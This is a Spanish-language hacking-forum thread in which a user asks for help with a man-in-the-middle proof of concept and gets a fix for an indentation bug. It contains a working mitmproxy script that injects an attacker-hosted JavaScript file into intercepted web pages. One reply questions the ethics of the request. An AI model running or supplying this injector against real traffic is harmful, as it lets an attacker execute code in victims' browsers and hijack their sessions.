elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: ¿Eres nuevo? ¿Tienes dudas acerca del funcionamiento de la comunidad? Lee las Reglas Generales


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking (Moderador: toxeek)
| | |-+  inyectar código MITM a HTTP AYUDA
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: inyectar código MITM a HTTP AYUDA  (Leído 3,272 veces)
p4tria

Desconectado Desconectado

Mensajes: 2


Ver Perfil
inyectar código MITM a HTTP AYUDA
« en: 24 Octubre 2015, 12:49 pm »

Buenas,

estoy tratando de hacer una POC que me he encontrado, y no soy capaz de inyectar el código que quiero a ver si me podéis echar un cable.

Estoy usando

KALI 2
--------
mitmproxy

y un script que me he encontrado por ahí para inyectar código JS.

# Usage: mitmdump -s "js_injector.py src"
# (this script works best with --anticache)
from bs4 import BeautifulSoup
from libmproxy.protocol.http import decoded

# On start of proxy server ask for src as an argument
def start(context, argv):
    if len(argv) != 2:
        raise ValueError('Usage: -s "js_injector.py src"')
    context.src_url = argv[1]


def response(context, flow):
    if flow.request.host in context.src_url:
        return # Make sure JS isn't injected to itself
    with decoded(flow.response):  # Remove content encoding (gzip, ...)
        html = BeautifulSoup(flow.response.content)
        if html.body:
            script = html.new_tag(
                "script",
                src=context.src_url,
                type='application/javascript')
            html.body.insert(0, script)
            flow.response.content = str(html)
            context.log("Script injected.")


Hago la redirección de tráfico HTTP y HTTPS al 8080 de mitmproxy; y el problema viene cuando trato de hacer la inyección llamando al script de java que subo a mi
python -m SimpleHTTPServer 80



alguna idea de este error?



« Última modificación: 24 Octubre 2015, 12:51 pm por slkntkyo » En línea

engel lex
Moderador Global
***
Desconectado Desconectado

Mensajes: 15.514



Ver Perfil
Re: inyectar código MITM a HTTP AYUDA
« Respuesta #1 en: 24 Octubre 2015, 16:17 pm »

es un problema de sangría... python es sensible con los espacios a la izquierda, distningue espacios de tabulaciones y la cantidad de los mismos
En línea

El problema con la sociedad actualmente radica en que todos creen que tienen el derecho de tener una opinión, y que esa opinión sea validada por todos, cuando lo correcto es que todos tengan derecho a una opinión, siempre y cuando esa opinión pueda ser ignorada, cuestionada, e incluso ser sujeta a burla, particularmente cuando no tiene sentido alguno.
k0pkill3r

Desconectado Desconectado

Mensajes: 33


Ver Perfil
Re: inyectar código MITM a HTTP AYUDA
« Respuesta #2 en: 24 Octubre 2015, 20:10 pm »

el foro no apoya a ilegales......o no éticos

paso de buscar citas......
En línea

p4tria

Desconectado Desconectado

Mensajes: 2


Ver Perfil
Re: inyectar código MITM a HTTP AYUDA
« Respuesta #3 en: 28 Octubre 2015, 21:11 pm »

el foro no apoya a ilegales......o no éticos

paso de buscar citas......

como no me conoces de nada entiendo que tienes razones suficientes (por mi nick o no sé por qué) para decirme que realizo acciones ilegales/no éticos

no sé qué tiene de ilegal realizar POC's en los equipos de mi propia empresa, para poner tonterías mejor no escribas; o si lo haces no prejuzgues

es un problema de sangría... python es sensible con los espacios a la izquierda, distningue espacios de tabulaciones y la cantidad de los mismos

muchas gracias ya está solucionado  ;-)
En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Inyectar codigo
Programación Visual Basic
Distorsion 4 2,155 Último mensaje 1 Marzo 2006, 14:18 pm
por Pseudoroot
Inyectar codigo a un ejecutable
Ingeniería Inversa
darklaiser 1 2,987 Último mensaje 29 Septiembre 2007, 19:17 pm
por Shaddy
Tengo un sitio al que le puedo inyectar codigo xss
Desarrollo Web
snakeboy8 1 2,214 Último mensaje 31 Diciembre 2011, 08:11 am
por Shell Root
Archivos en los que inyectar código.
Análisis y Diseño de Malware
PROFITEROLVEINTE 0 1,982 Último mensaje 10 Julio 2012, 23:16 pm
por PROFITEROLVEINTE
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines